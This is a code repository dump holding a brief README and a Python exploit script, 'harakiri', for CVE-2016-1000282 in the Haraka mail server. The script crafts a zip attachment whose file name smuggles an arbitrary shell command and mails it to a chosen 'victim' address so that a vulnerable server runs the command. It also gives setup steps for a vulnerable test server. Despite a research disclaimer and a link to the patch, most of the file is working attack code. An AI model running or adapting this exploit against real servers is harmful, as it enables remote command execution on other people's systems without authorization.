├── README.md └── harakiri-CVE-2016-1000282.py /README.md: -------------------------------------------------------------------------------- 1 | # Exploits 2 | Exploits developed by Outflank B.V. team members 3 | -------------------------------------------------------------------------------- /harakiri-CVE-2016-1000282.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Exploit Title: Harakiri 3 | # ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection 4 | # Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl] 5 | # Date: 26 January 2017 6 | # Category: Remote Code Execution 7 | # Vendor Homepage: https://haraka.github.io/ 8 | # Vendor Patch: https://github.com/haraka/Haraka/pull/1606 9 | # Software Link: https://github.com/haraka/Haraka 10 | # Exploit github: http://github.com/outflankbv/Exploits/ 11 | # Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8 12 | # Version: <= Haraka 2.8.8 (with attachment plugin enabled) 13 | # Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS 14 | # Tested versions: 2.8.8 and 2.7.2 15 | # CVE : CVE-2016-1000282 16 | # Credits to: smfreegard for finding and reporting the vulnerability 17 | # Thanks to: Dexlab.nl for asking me to look at Haraka. 18 | # 19 | # Instructions for testing the exploit below. 20 | # The zip is also saved to disk and can be attached using any mail client. 21 | # As it's processed in a vulnerable server it will run the embedded command 22 | # 23 | # Disclaimer: 24 | # This software has been created purely for the purposes of academic research and 25 | # for the development of effective defensive techniques, and is not intended to be 26 | # used to attack systems except where explicitly authorized. Project maintainers 27 | # are not responsible or liable for misuse of the software. Use responsibly. 28 | # 29 | # This is to be considered a responsible disclosure due to the availability of an effective patch. 30 | 31 | Install_and_test_exploit =""" 32 | THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT 33 | 34 | #Install a clean server (for example on Digital Ocean) 35 | #I picked the smallest Ubuntu 16.04.1 LTS for this guide. 36 | #I needed to enable swap on that installation 37 | fallocate -l 4G /swapfile 38 | chmod 600 /swapfile 39 | mkswap /swapfile 40 | swapon /swapfile 41 | swapon -s 42 | 43 | #install nodejs and npm: Note I have no clue what I'm doing here but it works! 44 | apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y 45 | wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz 46 | tar xvzf v2.8.8.tar.gz 47 | cd Haraka-2.8.8/ 48 | npm install -g npm 49 | ln -s /usr/bin/nodejs /usr/bin/node 50 | npm install -g 51 | 52 | #Haraka setup 53 | haraka -i /root/haraka 54 | 55 | cat << EOF > /root/haraka/config/plugins 56 | access 57 | rcpt_to.in_host_list 58 | data.headers 59 | attachment 60 | test_queue 61 | max_unrecognized_commands 62 | EOF 63 | 64 | cat << EOF >> /root/haraka/config/host_list 65 | haraka.test 66 | EOF 67 | 68 | # Launch haraka as root 69 | haraka -c /root/haraka/ 70 | 71 | #### EXPLOIT TIME 72 | ./harakiri.py -c "id > /tmp/harakiri" -t root@haraka.test -m <> 73 | 74 | ## now CTRL^C haraka on the server and: 75 | cat /tmp/harakiri 76 | 77 | # I'll leave the rest up to you 78 | """ 79 | 80 | import smtplib 81 | from email.mime.application import MIMEApplication 82 | from email.mime.multipart import MIMEMultipart 83 | from email.utils import COMMASPACE, formatdate 84 | from email.header import Header 85 | from email.utils import formataddr 86 | from email.mime.text import MIMEText 87 | from datetime import datetime 88 | import zipfile 89 | import StringIO 90 | import argparse 91 | import sys 92 | 93 | 94 | banner = u"""## ## ### ######## ### ## ## #### ######## #### 95 | ## ## ## ## ## ## ## ## ## ## ## ## ## ## 96 | ## ## ## ## ## ## ## ## ## ## ## ## ## ## 97 | ######### ## ## ######## ## ## ##### ## ######## ## 98 | ## ## ######### ## ## ######### ## ## ## ## ## ## 99 | ## ## ## ## ## ## ## ## ## ## ## ## ## ## 100 | ## ## ## ## ## ## ## ## ## ## #### ## ## #### 101 | 102 | -o- by Xychix, 26 January 2017 --- 103 | -o- xychix [at] hotmail.com --- 104 | -o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) -- 105 | 106 | -i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this) 107 | """ 108 | 109 | def SendMail(to,mailserver,cmd,mfrom): 110 | msg = MIMEMultipart() 111 | html = "harakiri" 112 | msg['Subject'] = "harakiri" 113 | msg['From'] = mfrom 114 | msg['To'] = to 115 | f = "harakiri.zip" 116 | msg.attach(MIMEText(html)) 117 | filename = "harakiri-%s.zip"%datetime.now().strftime("%Y%m%d-%H%M%S") 118 | print("Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"%(to,filename,cmd,mailserver)) 119 | part = MIMEApplication(CreateZip(cmd,filename),Name="harakiri.zip") 120 | part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip" 121 | msg.attach(part) 122 | print msg.as_string() 123 | s = smtplib.SMTP(mailserver,25) 124 | try: 125 | resp = s.sendmail(mfrom, to, msg.as_string()) 126 | except smtplib.SMTPDataError, err: 127 | if err[0] == 450: 128 | print("[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"%err[1]) 129 | return() 130 | print("smtpd response: %s No errors received"%(resp)) 131 | s.close() 132 | return() 133 | 134 | class InMemoryZip(object): 135 | def __init__(self): 136 | self.in_memory_zip = StringIO.StringIO() 137 | def append(self, filename_in_zip, file_contents): 138 | zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False) 139 | zf.writestr(filename_in_zip, file_contents) 140 | for zfile in zf.filelist: 141 | zfile.create_system = 0 142 | return self 143 | def read(self): 144 | self.in_memory_zip.seek(0) 145 | return self.in_memory_zip.read() 146 | def writetofile(self, filename): 147 | f = file(filename, "w") 148 | f.write(self.read()) 149 | f.close() 150 | 151 | def CreateZip(cmd="touch /tmp/harakiri",filename="harakiri.zip"): 152 | z1 = InMemoryZip() 153 | z2 = InMemoryZip() 154 | z2.append("harakiri.txt", banner) 155 | z1.append("a\";%s;echo \"a.zip"%cmd, z2.read()) 156 | z1.writetofile(filename) 157 | return(z1.read()) 158 | 159 | if __name__ == '__main__': 160 | print(banner) 161 | parser = argparse.ArgumentParser(description='Harakiri') 162 | parser.add_argument('-c','--cmd', help='command to run', required=True) 163 | parser.add_argument('-t','--to', help='victim email, mx record must point to vulnerable server', required=True) 164 | parser.add_argument('-m','--mailserver', help='mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct', required=True) 165 | parser.add_argument('-f','--from', help='optional: From email address', required=False, default="harakiri@exploit.db") 166 | args = vars(parser.parse_args()) 167 | SendMail(args['to'],args['mailserver'],args['cmd'],args['from']) 168 | --------------------------------------------------------------------------------